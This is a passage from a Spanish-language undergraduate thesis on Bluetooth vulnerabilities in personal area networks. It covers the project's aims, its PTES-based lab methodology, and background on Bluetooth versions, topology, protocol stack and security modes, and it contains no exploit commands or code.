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RESUMEN

El siguiente proyecto, “Analisis de vulnerabilidades en redes PAN (Red de Area
Personal) basadas en el protocolo Bluetooth”, tiene como objetivo identificar y analizar
las vulnerabilidades que afectan a los dispositivos Bluetooth de uso cotidiano. Mediante
la aplicacién de la metodologia PTES (Penetration Testing Execution Standard), la
configuracion de un laboratorio de pruebas utilizando una maquina virtual con el sistema
operativo Kali Linux y el uso de herramientas de codigo abierto como; Bluesnarfer,
BlueZ, BlueSpy y BlueXploit, se simulan escenarios de Pruebas de Concepto (PoC)
donde se explotan las vulnerabilidades identificadas en los dispositivos Bluetooth que
fueron seleccionados previamente, con ello, se obtienen resultados de la explotacion de
las vulnerabilidades, las cuales son presentadas en informes detallados. Al final del
proyecto se proponen medidas de seguridad apoyadas en normas de seguridad

internacionales de acuerdo con los resultados de las pruebas.

Palabras claves: Bluetooth, Redes de Area Personal (PAN), vulnerabilidad
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ABSTRACT

The following project, "Vulnerability Analysis in PAN (Personal Area Network)
Networks Based on the Bluetooth Protocol," aims to identify and analyze vulnerabilities
affecting everyday Bluetooth devices. By applying the PTES (Penetration Testing
Execution Standard) methodology, setting up a testing lab using a virtual machine
running the Kali Linux operating system, and using open-source tools such as
Bluesnarfer, BlueZ, BlueSpy, and BlueXploit, Proof of Concept (PoC) scenarios are
simulated where the vulnerabilities identified in previously selected Bluetooth devices
are exploited. This results in the exploitation of these vulnerabilities which are presented
in detailed reports. At the end of the project, security measures supported by international

security standards are proposed based on the test results.

Keywords: Bluetooth, Personal Area Networks (PAN), vulnerability

XX



INTRODUCCION

Las tecnologias inalambricas desde su aparicién han facilitado la forma en la que nos
comunicamos, su objetivo ha sido brindar una mayor movilidad y flexibilidad a la hora
de conectar diferentes dispositivos y poder transmitir informacién sin la necesidad de
utilizar cables. Este avance, ha impulsado el desarrollo de nuevos dispositivos,

aplicaciones y servicios enfocados en utilizar esta tecnologia.

Las Redes de Area Personal son un tipo de red de corto alcance utilizada en diversos
ambitos, en este se encuentran diferentes tecnologias inalambricas como; Zigbee, NFC,
IrDA y Bluetooth, siendo esta tltima la mas popular en este tipo de redes. Debido a esto,
y al igual que otras tecnologias, no esta exenta de que su seguridad sea vulnerada por

ciberdelincuentes los cuales aprovechan los fallos en su disefio.

En ese contexto, el proyecto “Analisis de vulnerabilidades en redes PAN (Red de Area
Personal) basadas en el protocolo Bluetooth”, busca mostrar las diversas formas en la que
los ciberdelincuentes utilizan esta tecnologia para su beneficio, lo que compromete la
privacidad y seguridad de los usuarios que utilizan esta tecnologia. Al mismo tiempo,
busca ser una fuente de informacion confiable para generar concientizacion sobre los
riesgos que implican el uso de Bluetooth sino se toman las medidas de seguridad

adecuadas.

En el capitulo I, se desarrollan los antecedentes del proyecto, en donde mediante la
investigacion bibliografica se presentan los principales problemas de seguridad del
estandar Bluetooth, y las razones por las cuales este tipo de tecnologia es utilizada en
otros contextos relacionados con la ciberdelincuencia. También se exploran otros trabajos
relacionados con la misma tematica, los cuales indican la importancia de seguir

investigando sobre las vulnerabilidades que afectan al protocolo Bluetooth.

El capitulo II corresponde al marco conceptual, el cual se centra en los conceptos claves
para el entendimiento del proyecto, y el marco teodrico, en esta seccion se muestran las
diferentes teorias que respaldan la importancia de realizar el proyecto. En el capitulo III,
se presenta la propuesta de desarrollo del proyecto, en este se sigue una metodologia
especializada en ciberseguridad para poder explotar algunas vulnerabilidades en

diferentes escenarios de prueba.



1. CAPITULO I. FUNDAMENTACION

1.1. Antecedentes

En la actualidad, el estandar de comunicacion Bluetooth es una de las tecnologias mas
extendidas en la implementacion de redes inalambricas de corto alcance, desempefia un
papel fundamental en la conectividad y transmision de datos de diferentes dispositivos
personales en un rango limitado de espacio [1]. Esta tecnologia esta presente no solo en
las telecomunicaciones, sino también en otros sectores del mercado como la industria
automotriz, vivienda, salud y deporte. Su popularidad se debe principalmente a su
simplicidad de uso, bajo consumo energético, latencia reducida, y facilidad de

implementacion [1].

Aunque su integracion y popularidad es igual frente a otras tecnologias inalambricas, las
investigaciones sobre las vulnerabilidades de Bluetooth no han sido de mucho interés por
parte del area de ciberseguridad, esto en parte porque ha sido menos rentable para los
ciberdelincuentes explotar estas debilidades para obtener beneficios econémicos, sin
embargo, estas vulnerabilidades siguen siendo relevantes en escenarios como el

espionaje, conflictos cibernéticos, extorsion, y amenazas a la privacidad de los usuarios
[2].

El desconocimiento de los usuarios sobre las vulnerabilidades de la estdndar Bluetooth es
un factor fundamental cuando se trata de la seguridad de esta tecnologia, debido a esto,
Bluetooth ha sido percibido como menos riesgosa, lo que ha generado una actitud
despreocupada en cuanto a su uso [3]. El habito de mantener el Bluetooth activado sin
restricciones representa una amenaza significativa, lo que deriva en practicas inseguras,
tales como el emparejamiento automatico de dispositivos o la falta de verificacion de las

conexiones entrantes [4].

La tecnologia Bluetooth presenta una caracteristica relevante en cuanto a su seguridad,
puesto que esta depende en mayor parte del método de emparejamiento que se aplique,
esto implica que el mecanismo interno protegera tanto la informaciéon como la integridad
de los sistemas donde se implementa el protocolo [5]. El principal problema surge cuando
la comunicacion en la transmision se ve comprometida de alguna manera, permitiendo el
acceso tanto a los datos transmitidos como al dispositivo en si, lo que representa un riesgo

de seguridad [5].



Una de las vulnerabilidades que afecta esta tecnologia en gran medida es la posibilidad
de conectarse a un dispositivo Bluetooth a otro sin autorizacién previa para enviar
mensajes no solicitados, aunque no parezca tener un riesgo alto, puede ser bastante
molesto, segun reportes este ataque afecta a un gran nimero de dispositivos en areas

urbanas de alto trafico, especialmente en centros de transporte [6].

También existen ataques que permiten acceder a una cantidad considerable de datos
personales, como contactos y mensajes de texto, este tipo de ataques por su parte han
evolucionado hacia técnicas mas complejas, ya que los atacantes pueden tomar control
remoto sobre los dispositivos durante un tiempo prolongado, lo que compromete tanto la

seguridad del dispositivo como la privacidad del usuario [7].

Otro ataque comun a esta tecnologia es la suplantacion de dispositivos Bluetooth, el cual
ha experimentado un crecimiento notable en los ultimos afios, los atacantes explotan
principalmente mecanismos de emparejamiento obsoletos y vulnerabilidades sobre el
protocolo Bluetooth para acceder a dispositivos sin proteccion, resultando en que, cada

ataque exitoso puede comprometer una cantidad significativa de datos sensibles [7].

A nivel nacional en Ecuador, un estudio publicado por la Revista Latinoamericana de
Ciencias Sociales y Humanidades (LATAM), titulado, "Proteccion de datos personales
en el uso de la aplicacion ASI Ecuador”, analizaba el uso de la tecnologia Bluetooth en
una aplicacion movil disefiada para notificar a los usuarios que habian estado en contacto

con una persona infectada por COVID-19 durante la pandemia de 2020 [8].

La aplicacion implement6 el protocolo Bluetooth Low Energy (BLE), que permitia la
comunicacion directa de dispositivos sin perder la red del celular consumiendo muy poca
energia de la bateria, sin embargo, se observd que la implementacion de este protocolo
presentaba riesgos y vulnerabilidades debido a la ausencia de mecanismos de seguridad
avanzados, lo que exponia los datos de los usuarios a posibles ataques que comprometian

su privacidad [8].

En Latinoamérica, un estudio titulado “Seguridad de la informacién aplicada a
dispositivos moviles con foco en tecnologia Bluetooth”, se determind que el 70% de las
amenazas en dispositivos moviles provienen de conexiones Bluetooth no seguras, la
investigacion recalca la falta de configuraciones adecuadas y la escasa concientizacion

sobre la seguridad de esta tecnologia, lo que compromete la interceptacion de datos y
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accesos no autorizados, el estudio finaliza con recomendaciones para mitigar los ataques

hacia los dispositivos moviles [9].

Por otro lado, a nivel mundial, un estudio realizado por la Universidad Complutense de
Madrid, titulado "Pentest de un dispositivo loT: Explotacion de vulnerabilidades de una
bombilla inteligente", se evalu6 la seguridad de un dispositivo que utilizaba el protocolo
Bluetooth Low Energy (BLE), donde se evidenciaron configuraciones deficientes que
podian permitir a los atacantes manipular dispositivos sin restricciones, el estudio
concluye demostrando la falta de autenticacion y cifrado en la comunicacion Bluetooth,

lo que facilitaba la interceptacion y el ingreso de comandos [10] .

De acuerdo con lo expuesto anteriormente, es fundamental que continuen con las
investigaciones sobre la seguridad de la tecnologia Bluetooth, debido a su uso creciente,
aplicacion en diversos proyectos y su integracion en una amplia variedad de dispositivos
personales. Su potencial exposicion ante amenazas y el poco conocimiento de los usuarios
sobre estos riesgos hacen aun mds necesaria las pruebas e investigaciones para la

identificacion y mitigacion de vulnerabilidades en esta tecnologia.

En este sentido, el presente proyecto tiene como objetivo contribuir a las investigaciones
que se han hecho anteriormente y ampliar la comprension sobre las vulnerabilidades de
la tecnologia Bluetooth. La aplicaciéon de metodologias especializadas en seguridad
informatica y la ejecucion de pruebas de penetracion en entornos controlados son
esenciales en el proceso para identificar y evaluar el impacto de las amenazas, asi como
también explorar los factores técnicos y no técnicos que influyen en la exposicion de los

dispositivos a ataques.

A través de este estudio, se espera identificaran las vulnerabilidades mas comunes en
dispositivos personales que utilizan la tecnologia Bluetooth. El proyecto pretende evaluar
las medidas de seguridad de estos dispositivos y como estos reaccionan ante diversos
ataques en condiciones especificas, ademas de profundizar en el impacto de estas
vulnerabilidades utilizando diferentes herramientas de seguridad. Al mismo tiempo, se
busca generar conciencia sobre los riesgos de las amenazas y la importancia de adoptar
buenas practicas en el uso de la tecnologia Bluetooth, con esto, se espera generar
informacion util para los usuarios sobre la seguridad de los dispositivos personales y

promover un uso mas Seguro.



1.2.  Descripcion del Proyecto

El presente proyecto tiene como objetivo realizar un andlisis de las vulnerabilidades en
redes PAN (Red de Area Personal) basadas en el estindar IEEE 802.15.1 que utiliza
tecnologia inaldmbrica Bluetooth. A través de este estudio se busca identificar los
posibles riesgos de seguridad de esta tecnologia que puedan comprometer la informacién

transmitida a través de este protocolo.

Se realizara la revision bibliografica sobre el protocolo de comunicacion Bluetooth,
incluyendo investigaciones previas de su seguridad, tipos de ataques mas comunes, y
vulnerabilidades documentadas, lo que permitira contextualizar el estudio y establecer un
marco de referencia. Se aplicard la metodologia PTES (Penetration Testing Execution
Standard), un marco de trabajo de pruebas de penetracion disefiado para detectar y evaluar

vulnerabilidades en sistemas informaticos.

El estudio se llevara a cabo bajo un entorno de pruebas controlado, de acuerdo con cada
vulnerabilidad que se haya identificado durante la investigacion. Para ello se utilizaran
herramientas de seguridad informaticas de codigo abierto disponibles en repositorios de
GitHub, asi como el uso del sistema operativo Kali Linux, y otras soluciones disefiadas
para la evaluaciéon y explotacion de vulnerabilidades de la tecnologia Bluetooth.
Finalmente, de acuerdo con los resultados obtenidos, se proponen medidas de seguridad

para mitigar los riesgos identificados en el estudio.

De acuerdo con la metodologia PTES, esta consta de 7 fases que se aplican durante el
proceso de evaluacion de vulnerabilidades, sin embargo, este proyecto tomara como

referencia solo las siguientes fases [11]:

e Fase 1 - Recopilacion de informacion: En esta fase, se recopila la informacion
sobre el objetivo, mediante el uso de técnicas de recoleccion de datos o
herramientas adecuadas. El propdsito de la informacién obtenida es proporcionar

y disefiar acciones que se llevaran a cabo en las siguientes fases de la metodologia.

e Fase 2 - Analisis de Vulnerabilidades: Se indagan los datos recopilados en la
fase anterior para identificar posibles debilidades de seguridad del objetivo. Se
evalian configuraciones y otros aspectos que puedan significar un riesgo de

seguridad.



1.3.

Fase 3 - Explotacion: En esta etapa, se ejecutan las pruebas controladas para
validar si las vulnerabilidades investigadas y analizadas pueden ser explotadas. Se
aplican técnicas de ataque simuladas con el fin de medir su impacto y evaluar el

nivel de seguridad del sistema o dispositivo analizado.

Fase 4 - Informe de Resultados: En esta etapa, se documenta todos los hallazgos
obtenidos y se clasifican las vulnerabilidades explotadas seglin su nivel de riesgo
e impacto. Ademas, se proponen recomendaciones y medidas de seguridad para

mitigar los riesgos detectados y fortalecer la seguridad del sistema.

Objetivos del Proyecto

Objetivo General

Analizar las vulnerabilidades del estandar Bluetooth en redes PAN dentro de un entorno

controlado, utilizando herramientas de codigo abierto con el fin de proponer medidas de

seguridad informaticas basadas en normas internacionales.

Objetivos Especificos

14.

Realizar una revision bibliografica sobre el estandar IEEE 802.15.1 en redes PAN,

para entender el funcionamiento de la comunicacion Bluetooth.

Disefiar un entorno controlado de pruebas para simular escenarios de

vulnerabilidades en redes PAN utilizando dispositivos Bluetooth.

Identificar vulnerabilidades en dispositivos Bluetooth mediante el uso de

herramientas de seguridad informatica de codigo abierto.

Proponer medidas de seguridad basadas en normas internacionales para fortalecer

la proteccion de las redes PAN y dispositivos Bluetooth.

Justificacion del Proyecto

Bluetooth, al igual que otras tecnologias inaldmbricas, esta tiene un gran aporte en la

manera en la que nos comunicamos y compartimos informacion a través de diferentes

dispositivos de uso diario. Segun el ultimo reporte presentado por Bluetooth SIG

(Bluetooth Special Interest Group), se espera que para el afo 2028 existan 7.5 mil

millones de dispositivos habilitados con esta tecnologia [12]. Sin embargo, su crecimiento



también lo expone a diversas vulnerabilidades que pueden afectar a la seguridad de los

datos de los usuarios.

Los principales riesgos asociados a esta tecnologia se basan en la posibilidad de
interceptacion de datos, emparejamientos no autorizados y ataques de suplantacién de
dispositivos, estos problemas comprometen la integridad, confidencialidad y
disponibilidad de la informacidn transmitida, afectando directamente a los usuarios de
dispositivos como teléfonos, laptops, tablets y periféricos inalambricos, ademas, esta
situacion se ve agravada por la falta de actualizaciones en dispositivos antiguos y el

desconocimiento de los usuarios sobre las practicas de seguridad [13].

De manera general, la seguridad de los datos sigue siendo un tema relevante en el &mbito
tecnologico, especialmente cuando se tiene grandes cantidades de dispositivos conectados
al mismo tiempo haciendo uso de diferentes protocolos. Bluetooth al ser una de las
tecnologias inalambricas mas populares no estd exenta de presentar vulnerabilidades,
muchas de estas amenazas pasan desapercibidas por los mismos usuarios quienes
desconocen los riesgos asociados a una configuracion inadecuada o al uso de dispositivos
sin medidas de proteccion seguras, lo que podria comprometer la privacidad y seguridad

de la informacion de los usuarios.

Ante esta problematica, nace la necesidad de desarrollar este proyecto con el proposito
de identificar y analizar las vulnerabilidades presentes en el protocolo Bluetooth en el
contexto de las Redes de Area Personal. Mediante este proyecto se busca probar que atin
siguen presente ciertas vulnerabilidades en diferentes dispositivos y evaluar el impacto
de las amenazas en la seguridad y en la privacidad de los usuarios al usar esta tecnologia.
Con estos hallazgos, se prevé proponer estrategias de mitigacion que permitan reducir las
vulnerabilidades existentes, y promover las buenas practicas de seguridad contribuyendo

al fortalecimiento de la ciberseguridad en entornos inalambricos.

Este proyecto se alinea a los ejes y objetivos del “Plan de Creacion de Oportunidades
2021-2025”, un proyecto de estrategia nacional disefiada para impulsar el desarrollo
econdmico, social, y ambiental del pais, que tiene como objetivo crear condiciones
favorables para el crecimiento sostenible, generacion de empleo y mejorar la calidad de
vida de los ciudadanos [14]. A continuacion, se detallan los ejes y objetivos mas

adecuados para este proyecto [14]:



Objetivos del Eje Social

Objetivo 5: Asegurar la proteccion de las familias, garantizar sus derechos y acceso a

servicios, eliminar la pobreza y fomentar la inclusion social [14].

e Politica 5.5: Incrementar la conectividad digital y el acceso a nuevas tecnologias

para la poblacion [14].

Objetivo 7: Fortalecer las habilidades de la poblacion y fomentar una educacion que sea

innovadora, inclusiva y de alta calidad en todos los niveles [14].

e Politica 7.2: Fomentar la modernizacion y eficiencia del sistema educativo

mediante la incorporacion de innovaciones y herramientas tecnoldgicas [14].

1.5. Alcance del Proyecto

De acuerdo con los objetivos del proyecto, el estudio se centrard inicamente en el analisis
de las principales vulnerabilidades que afectan a la tecnologia Bluetooth, en el contexto
de las Redes de Area Personal. Para la contextualizacion y entendimiento del protocolo,
se realiza la revision detallada de estudios previos, publicaciones de investigaciones y
fuentes especializadas disponibles en Internet, con el objetivo de identificar ataques

documentados, metodologias de explotacion y posibles medidas de mitigacion.

El estudio incluird un enfoque practico para las pruebas de penetracion mediante la
aplicacion de la metodologia PTES (Penetration Testing Execution Standard) utilizando
solo 4 de sus fases totales. Se trabajard en un entorno controlado utilizando herramientas
de seguridad informatica de codigo abierto las cuales estan disponibles en sus respectivos
repositorios de GitHub, asi como la utilizacion del sistema operativo Kali Linux para la
auditoria y explotacion de vulnerabilidades junto con la seleccion de diferentes

dispositivos Bluetooth.

El analisis se limitara a explotar vulnerabilidades documentadas en versiones reciente y
anteriores del protocolo Bluetooth y su impacto en dispositivos de uso comin en entornos
personales o académicos. No se abordaran otros protocolos de comunicacion inalambrica
ni pruebas en infraestructuras empresariales, ni utilizacion de dispositivo de terceros que

requieran de hardware especializado que estén fuera del alcance del proyecto.



2. CAPITULO II. MARCO TEORICO Y METODOLOGIA DEL PROYECTO
2.1. Marco Conceptual

2.1.1. Redes de Area Personal (PAN)

Redes de comunicacion de corto alcance disenada para la conexién y transferencia de
datos de dispositivos electronicos personales [15]. Estas redes pueden trabajar mediante
conexiones cableadas o inaldmbricas a velocidades de entre 10 bps hasta los 10 Mbps en
un rango de no mas de 10 metros, ideales para la transferencia de archivos pequefios o

medianos [16].

2.1.2. Redes Inalambricas de Area Personal (WPAN)

Redes de comunicacion que trabajan exclusivamente mediante tecnologias inalambricas
de corto alcance [16]. Forman parte de grupo de trabajo IEEE 802.15.x que incluyen
tecnologias como Bluetooth, Zigbee, infrarrojos (IrDA) o Ultra-Wideband (UWB), que
se caracterizan por su bajo consumo energético y facilidad de implementacion en entornos

personales, industriales e Internet de las Cosas [17].

2.1.3. Topologias de Redes de Area Personal

Al igual que otras redes cableadas o inaldmbricas, estas pueden adoptar diferentes
topologias dependiendo de la tecnologia y el propdsito de comunicacion, estas estructuras
definen la forma en que los dispositivos se conectan e intercambian informacién dentro
de la red, influyendo en aspectos como el rendimiento, alcance, eficiencia energética y
tolerancia a fallos, las redes de area personal toman en cuentan tres tipos de topologias de

red [18].

e Punto a Punto (P2P): Tipo de conexién directa donde cada canal de dato se
utiliza para comunicar unicamente dos dispositivos, donde uno asume el rol de
emisor y el otro de receptor, son ideales para la transmision a corta distancia y

necesidades especificas [19].

e Estrella: Un nodo central (coordinador) gestiona la comunicacion con varios
dispositivos periféricos, evitando que estos se conecten directamente entre si. Es

una topologia eficiente y comin ya que permite la conexién de multiples
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dispositivos a un unico punto de acceso, como en redes de domdtica o accesorios

inteligentes [20].

e Malla (Mesh): Todos los dispositivos estan interconectados entre si y pueden
actuar como repetidores, permitiendo que los datos encuentren multiples rutas
para llegar a su destino. Mejora la cobertura, la tolerancia a fallos y la
confiabilidad de la red, son utilizadas mayormente en redes de sensores

inalambricos [21].
2.14. IEEE: Instituto de Ingenieros Eléctricos y Electronicos

Es una organizacién internacional sin fines de lucro que se encarga de promover la
innovacidn, investigacion y el desarrollo de la tecnologia en los campos de la ingenieria
eléctrica, electronica, computacion y areas relacionadas con la ciencia y tecnologia.[22].
También, es reconocido por el desarrollo de normas y especificaciones técnicas que
establecen estandares internacionales en dreas como redes de comunicacion, dispositivos

electrénicos, telecomunicaciones, seguridad informatica, entre otras [22].

2.1.5. Bluetooth [IEEE 802.15.1]

Bluetooth es un estdndar de comunicacion de redes inalambrica de corto alcance definido
en el grupo de trabajo IEEE 802.15.1, y gestionada por el consorcio Bluetooth Special
Interest Group (Bluetooth SIG), el estandar emplea la banda de frecuencia de 2.4 GHz
designada para comunicaciones inaldmbricas de uso libre (ISM), permite la transmision
de datos, voz y audio entre dispositivos electronicos compatibles, como teléfonos,

computadoras, auriculares y otros periféricos [23].

2.1.6. Bluetooth Classic (BR/EDR)

Bluetooth Classic (BR/EDR) es como se denomina a las tecnologias originales de
Bluetooth, que incluyen la Tasa basica (BR), Velocidad de Datos Mejorada (EDR) y la
extension MAC/PHY Alternativo (AMP), fue disefiada para la transmision y
comunicacion inalambrica constante entre dispositivos que requieren mayor ancho de
banda y es utilizada para actividades como la transferencia de archivos, streaming de
audio, la conexidon de dispositivos como auriculares, impresoras o teclados, u otros

dispositivos de interfaz humana. [24].
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2.1.7. Bluetooth Low Energy (BLE)

Bluetooth Low Energy (BLE — Bluetooth de Baja Energia), es una variante de la
tecnologia Bluetooth introducida en la version 4.0, esta disefiada para aplicaciones y
dispositivos que requieren bajo consumo de energia y transmision de datos en intervalos
cortos, como sensores, monitores de salud, dispositivos portétiles y aplicaciones de

Internet de las Cosas (IoT) [25].

En la siguiente imagen se muestra las distintas areas de aplicacion, topologia de
comunicacion, tecnologia de radio y tasas de transmision que tienen las tecnologias
Bluetooth Classic y Bluetooth Low Energy [26]. Bluetooth Classic estd enfocado en la
transmision de audio y transferencia de datos mediante comunicacién punto a punto,
mientras que Bluetooth Low Energy es aplicada en servicios de ubicacion y redes de
dispositivos utilizando comunicacion en malla y difusion, teniendo mayor eficiencia

energética y flexibilidad en la tasa de bits [26].

Bluetooth® Classic Bluetooth® Low Energy

Solution Areas Solution Areas

AUDIO STREAMING DATA TRANSFER AUDIO STREAMING DATA TRANSFER LOCATION SERVICES DEVICE NETWORKS
(COMING)
Device Communication Device Communication Device Positioning
e o o
72\ X
C/ \
Je- (] °
. f@\ o 857 * X ° °
= \ </
e o 4
POINT-TO-POINT POINT-TO-POINT ~ BROADCAST MESH PRESENCE DISTANCE DIRECTION
Basic Rate/Enhanced Data Rate Radio Low Energy Radio
2.402-2.480 GHz ISM 2.402-2.480 GHz ISM
SPECTRUM: 2.4 GHz ISM band SPECTRUM: 2.4 GHz ISM band
CHANNELS: 79 one MHz channel with Adaptive Frequency Hopping CHANNELS: 40 two MHz channel with Adaptive Frequency Hopping
BIT RATES: 1Mb/s, 2Mb/s, 3 Mb/s BIT RATES: 125Kb/s, 500 Kb/s, 1Mb/s, 2 Mb/s

Figura 1. Bluetooth Classic y Bluetooth Low Energy. (Fuente: [26])

11



2.1.8. Versiones de Bluetooth

Las versiones de Bluetooth hacen referencia a los distintos lanzamientos, actualizaciones

y especificaciones que ha tenido esta tecnologia desde su creacion, cada version ha

incorporado mejoras en cuanto a velocidad de transmision, alcance, eficiencia energética,

capacidad de conexion y seguridad, lo que ha permitido que se adapte a una variedad de

aplicaciones [27].

A continuacidén, se presenta una tabla que resumen las diferentes versiones de la

tecnologia Bluetooth, detallando caracteristicas principales, velocidad maxima de

transmision en Mbps, y fecha de lanzamiento.

Version | Lanzamiento | Mbps Caracteristicas
1.0a Tul-1999 | 0.7322 Primera \.Iersmn'(?ﬁmal, presentaba numerosos
errores € inestabilidades.
1.0b Dic - 1999 | 0.7322 | Correcciones de errores de la primera version.
L1 Feb - 2001 | 07322 Pr1mer.a VGI’SIOII. comercial que incorpord
mecanismos de cifrado.
Mej la cali ion (AFH
12 Nov - 2003 | ejoras en la ca 1da€1 de conexion ( ), y
soporte para enlaces sincronos (ESCO)
Mejor velocidad (EDR); menos consumo de
2.0+ EDR | Nov -2004 2.1 energia, y soporte para emparejamiento con
tecnologia NFC.
Mo — o] -
21+EDR | Ago-2007 51 ejor er.nparejan'u.ento con la integracion de
Secure Simple Pairing (SSP).
Nuevo canal adicional de alta velocidad (HS),
3.0+ HS Abr - 2009 24 utilizando Wi-Fi para la transferencia de
grandes volumenes de datos.
404 LE Dic - 2009 24 Nuevo modo Low ,Energy (LE) orientada al bajo
consumo de energia.
41 Dic - 2013 ’5 S9porte para el protocolo IPv6 para conexion
directa con n redes [oT
Nuevo perfil de conexién compatible con IPv6
49 Dic - 2014 )5 (I'PSP)‘ ‘ para mejorar la conex1~on C(?Il
dispositivos de  menor tamafio  sin
intermediarios.
50 Dic - 2016 50 Vel'001dad x2, .alcar'x:‘e x4, capacidad x8 y
mejoraras con dispositivos [oT.
5.1 Ene - 2019 50 Funciones de localizacion y rastreo mas precisas

en el protocolo.
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59 Dic - 2019 50 Soporte para BluetOf)th LE Au(.ho y el sistema
Auracast, y nuevo cddec de audio LC3.
53 Jul - 2021 50 Mejoras en la gestion de subclasificaciones de
dispositivos.
Mejoras relacionadas con la forma en que los
5.4 Feb - 2023 50 dispositivos se anuncian y se descubren dentro
de una red Bluetooth.
Tabla 1. Versiones y caracteristicas de Bluetooth (Fuente: [28])
2.1.9. Topologia de red del protocolo Bluetooth
2.1.9.1. Piconet

Piconet es la unidad basica de una red Bluetooth, y consiste en la formacion de un nodo

maestro (principal), y uno o hasta siete nodos esclavos (secundario) (Figura 2), en este

tipo de red los participantes pueden intercambiar papeles, un nodo esclavo puede asumir

el rol de maestro, pero solo puede haber un maestro en la piconet al mismo tiempo para

poder establecer la conexion [29].

El nodo maestro controla la comunicacion asignando los intervalos de tiempo para el

envio y recepcion de datos bajo un esquema TDD (Time Division Duplex), ademas

establece la secuencia de salto de frecuencia del canal, donde los nodos esclavos se

sincronizan ajustando su reloj interno para mantener una conexion estable y coordinada

entre los dispositivos [29].

Figura 2. Topologia Piconet. (Fuente: [33])
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2.1.9.2. Scatternet

Se denomina scatternet a una red formada por la interconexién de multiples piconets
(Figura 3), este tipo de red generalmente actua como puente entre diferentes piconets [30].
Este tipo de red permite ampliar la cobertura y el nimero de dispositivos conectados en
una red Bluetooth, ofrecen mayor cobertura flexibilidad y escalabilidad, sin embargo, se
requiere una cuidadosa sincronizacion de los dispositivos, ya que deben alternar entre

diferentes piconets respetando los tiempos asignados [30].

."'-i_._—-“'

Figura 3. Topologia Scatternet. (Fuente: [33])

2.1.10. Arquitectura del protocolo Bluetooth

La arquitectura Bluetooth la conforman una serie de pilas de protocolo que trabajan en
conjunto para su funcionamiento, la misma se puede dividir en dos componentes
principales; el Host y el Controller. Entre estos dos elementos se encuentra el Host
Controller Interface (HCI) el cual proporciona una interfaz estandar entre el host y el

controller [31].
2.1.10.1. Host (Capa Alta de la Pila de Protocolos)

Esta se encarga de procesar la informacion y maneja la logica de la comunicacion
Bluetooth, se encuentran integrado en el software del sistema o los sistemas operativo de
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cada dispositivo. Maneja los perfiles Bluetooth, que son un conjunto de protocolos que
permiten diferentes tipos de comunicacion (transferencia de archivos, audio, dispositivos

HID, conexion teclados o ratones) [32].
2.1.10.2. HCI (Host Controller Interface)

Es una interfaz que permite la comunicacion entre el host y el controller, en algunos
dispositivos el host y el controlador estan integrados en el mismo chip, por lo que el HCI
no es necesario. Si estan separados, el HCI permite que las capas superiores (software)

controlen el hardware de radio [33].
2.1.10.3. Controller (Capa Baja de la Pila de Protocolos)

Es un modulo de hardware que se encarga de transmision y recepcion de senales de radio
Bluetooth, gestiona la comunicacion inalambrica y trabaja con el gestor de enlace y la
banda base. Generalmente suelen ser chips integrados en los dispositivos o estan una

tarjeta externa conectada mediante interfaces como USB, UART o PCMCIA [34].

Bluetooth Host

Bluetooth Enabled App

HCI Transport

Bluetooth Controller

. Bluetooth Profile . Windows Embedded Bluetooth
Stack Component Compact Component Controller

Figura 4. Arquitectura del protocolo Bluetooth. (Fuente: [73])
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2.1.11. Pila del Protocolo Bluetooth

La pila de protocolos de Bluetooth estd disefiada para garantizar una comunicacion

eficiente entre dispositivos a través de una estructura jerarquica. La pila se divide en cinco

capas de niveles principales con diferentes protocolos, las cuales se describen a

continuacion:

2.1.11.1. Capa Fisica

Radio: Se encarga de la transmision y recepcion de las sefiales de banda de 2.4
GHz, ademas de utilizar una técnica llamada Frequency Hopping Spread
Spectrum (FHSS), que cambia de frecuencia constantemente para reducir

interferencias y mejorar la seguridad [35].

Banda Base: Se encarga de gestionar las conexiones y el intercambio de datos
entre dispositivos, define como se sincronizan y estructuran los paquetes de datos

mediante técnicas de multiplexacion [35].

2.1.11.2. Capa de Enlace

LMP (Link Manager Protocol): Es responsable de configurar los enlaces
Bluetooth, emparejamiento de dispositivos, cifrado de comunicacion, gestion de

modo de energia y control de calidad de servicio (QoS) [36].

2.1.11.3. Interfaz entre Host y Conroller

HCI (Host Controller Interface): Actua como una interfaz de comunicacion
entre el host y el controlador Bluetooth, permite que el sistema operativo del
dispositivo acceda y controle las funciones del hardware Bluetooth a través de

comandos estandar [36].

2.1.11.4. Capa de Protocolo de Transporte

L2CAP (Logical Link Control and Adaptation Protocol): Proporciona
servicios de multiplexacion para diferentes protocolos en capas superiores,
gestiona la fragmentacion y reensamblado de paquetes de datos que van llegando

a través de la transmision inalambrica [37].
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2.1.11.5. Capa de Aplicacion y Perfiles

SDP (Service Discovery Protocol): Permite a los dispositivos descubrir los

servicios disponibles en otros dispositivos Bluetooth y negociar conexiones [37].

RFCOMM (Radio Frequency Communication Protocol): Emula puertos serie
para permitir la comunicacion con aplicaciones heredadas de comunicacion serie

[37].

Perfiles Bluetooth: Son conjuntos de especificaciones que definen cémo los
dispositivos deben interactuar para funciones especificas, entre las que destacan
la transferencia de archivos (OBEX), llamadas manos libres, transmision de audio

(A2DP), control de dispositivos (HID para teclados y ratones), entre otros. [37].

I_—I'
LANP
PERFILES

PROTOCOLOS

Figura 5. Protocolos y perfiles de Bluetooth. (Fuente: [74])
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2.1.12. Medidas de seguridad de Bluetooth Classic (BR/EDR)
2.1.12.1. Modos de seguridad

El modelo de seguridad BR/EDR de Bluetooth introduce el concepto de modos de
seguridad (Modo 1 al 4) y cada dispositivo Bluetooth debe operar en uno de estos modos
[38]. Estos modos indican cudndo y como un dispositivo Bluetooth inicia la seguridad,
asi mismo, a medida que evolucionaron las versiones del protocolo, se introdujeron
mejoras en cuanto a la autenticacion y el cifrado en los modos, siendo el modo 4 el mas

seguro hasta la fecha [38].

Version de
M Descripci6
odo Bluetooth escripcion

El dispositivo se considera no seguro. Las caracteristicas de
Modo 1 | vl.1.—-v2.0 | seguridad (autenticacion y cifrado) no estdn activas ni
disponibles.

Modo?2 | vI.1.—v2.0 La s§gur'i(’1ad se apl'ic'a después del enlace, mediante la
autorizacion por servicio.

La seguridad se aplica antes de estableces el enlace. Se
Modo 3 | vl.1.-v2.0 | requiere autenticacion y cifrado desde el inicio de la
conexion.

Se introduce el Emparejamiento Simple Seguro (SSP) con
intercambios de claves ECDH. Requiere autenticacion y
cifrado a nivel de servicio y pueden usar algoritmos
criptograficos avanzados (AES-CCM).
Incluye 4 niveles en el mismo modo, los cuales son:

e Nivel 0: Sin seguridad (Solo permitido para SDP -
Modo 4 V14 Protocolo de Descubrimiento de Servicios)
e Nivel 1: Sin seguridad

e Nivel 2: Se requiere una clave de enlace no
autenticada

